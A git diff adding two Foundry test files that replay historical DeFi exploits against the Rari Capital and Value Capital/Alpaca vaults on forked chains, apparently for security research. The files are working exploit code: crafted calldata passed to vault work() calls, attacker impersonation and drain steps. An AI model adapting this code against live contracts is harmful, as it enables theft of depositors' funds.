diff --git a/src/test/RariCapital_exp.sol b/src/test/RariCapital_exp.sol new file mode 100644 index 000000000..89e2aac6e --- /dev/null +++ b/src/test/RariCapital_exp.sol @@ -0,0 +1,77 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +/* + Attack tx: https://etherscan.com/tx/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be + Tenderly.co: https://dashboard.tenderly.co/tx/mainnet/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be/ + Debug transaction: https://phalcon.blocksec.com/tx/eth/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be + + run: forge test --contracts ./src/test/RariCapital_exp.sol -vvv + +*/ +interface Bank { + function work(uint256 id, address goblin, uint256 loan, uint256 maxReturn, bytes calldata data) + external payable; +} + +contract ContractTest is DSTest { + Bank vault = Bank(0x67B66C99D3Eb37Fa76Aa3Ed1ff33E8e39F0b9c7A); + IERC20 fakeToken = IERC20(payable(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46)); + address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233); + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + + function setUp() public { + cheats.createSelectFork("mainnet", 12394009); //fork bsc at block 12394009 + } + + function testExploit() public { + // cheats.deal(attacker, 9 ether); + emit log_named_decimal_uint( + "[Start] ETH Balance of attacker", + attacker.balance, + 18 + ); + emit log_named_decimal_uint( + "[Start] ETH Balance of fake pair", + address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).balance, + 18 + ); + + emit log_named_decimal_uint( + "[Start] FakeToken balance of attacker", + fakeToken.balanceOf(attacker), + 18 + ); + bytes memory data = hex"00000000000000000000000081796c4602b82054a727527cd16119807b8c7608000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000600000000000000000000000002f755e8980f0c2e81681d82cccd1a4bd5b4d5d4600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; + + cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233); + (bool success, bytes memory result) = address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).call{value: 1031000000000000000000}( + abi.encodeWithSignature("donate()") + ); + emit log_named_decimal_uint( + "[Start] ETH Balance of attacker", + attacker.balance, + 18 + ); + emit log_named_decimal_uint( + "[Start] ETH Balance of fake pair", + address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).balance, + 18 + ); + vault.work{value: 100000000}(0, + 0x9EED7274Ea4b614ACC217e46727d377f7e6F9b24, + 0, + 100000000000000000000000, + data + ); + + emit log_named_decimal_uint( + "[End] ETH Balance of attacker", + attacker.balance, + 18 + ); + } +} \ No newline at end of file diff --git a/src/test/ValueCapital_exp.sol b/src/test/ValueCapital_exp.sol new file mode 100644 index 000000000..23eb36709 --- /dev/null +++ b/src/test/ValueCapital_exp.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +/* + Attack tx: https://bscscan.com/tx/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006 + Tenderly.co:: https://dashboard.tenderly.co/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006/ + Debug transaction: https://phalcon.blocksec.com/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006 + + run: forge test --contracts ./src/test/ValueCapital_exp.sol -vvv + +*/ + +interface AlpacaWBNBVault { + function work(uint256 id, address worker, uint256 principalAmount, uint256 loan, uint256 maxReturn, bytes calldata data) + external payable; +} + +contract ContractTest is DSTest { + AlpacaWBNBVault vault = AlpacaWBNBVault(0xd7D069493685A581d27824Fc46EdA46B7EfC0063); + IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c)); + IERC20 vSafeVaultWBNB = IERC20(payable(0xD4BBF439d3EAb5155Ca7c0537E583088fB4CFCe8)); + address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233); + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + + function setUp() public { + cheats.createSelectFork("bsc", 7223263); //fork bsc at block 7223263 + } + + function testExploit() public { + cheats.deal(attacker, 1 ether); + emit log_named_decimal_uint( + "[Start] WBNB Balance of attacker", + wbnb.balanceOf(attacker), + 18 + ); + + bytes memory data = hex"000000000000000000000000e38ebfe8f314dcad61d5adcb29c1a26f41bed0be00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000060000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0000000000000000000000004269e4090ff9dfc99d8846eb0d42e67f01c3ac8b0000000000000000000000000000000000000000000000000000000000000000"; + + cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233); + wbnb.approve(address(vault), 1 ether); + vault.work{value: 1 ether}(0, + 0x7Af938f0EFDD98Dc513109F6A7E85106D26E16c4, + 1000000000000000000, + 393652744565353082751500, + 1000000000000000000000000, + data + ); + + emit log_named_decimal_uint( + "[End] Attacker vSafeWBNB balance after exploit", + vSafeVaultWBNB.balanceOf(attacker), + 18 + ); + // cheats.rollFork(bytes32(0x158c9fe2abde339b689476cee646d63c2f7c605af4b16b4e32d68643d5af6d92)); + // emit log_uint(block.number); + (bool success, bytes memory result) = address(0x4269e4090FF9dFc99D8846eB0D42E67F01C3AC8b).call( + abi.encodeWithSelector(0x5e7ab248) + ); + emit log_named_decimal_uint( + "[End] Attacker vSafeWBNB balance after withdraw", + vSafeVaultWBNB.balanceOf(attacker), + 18 + ); + emit log_named_decimal_uint( + "[End] WBNB balance of attacker after withdraw", + wbnb.balanceOf(attacker), + 18 + ); + } +} \ No newline at end of file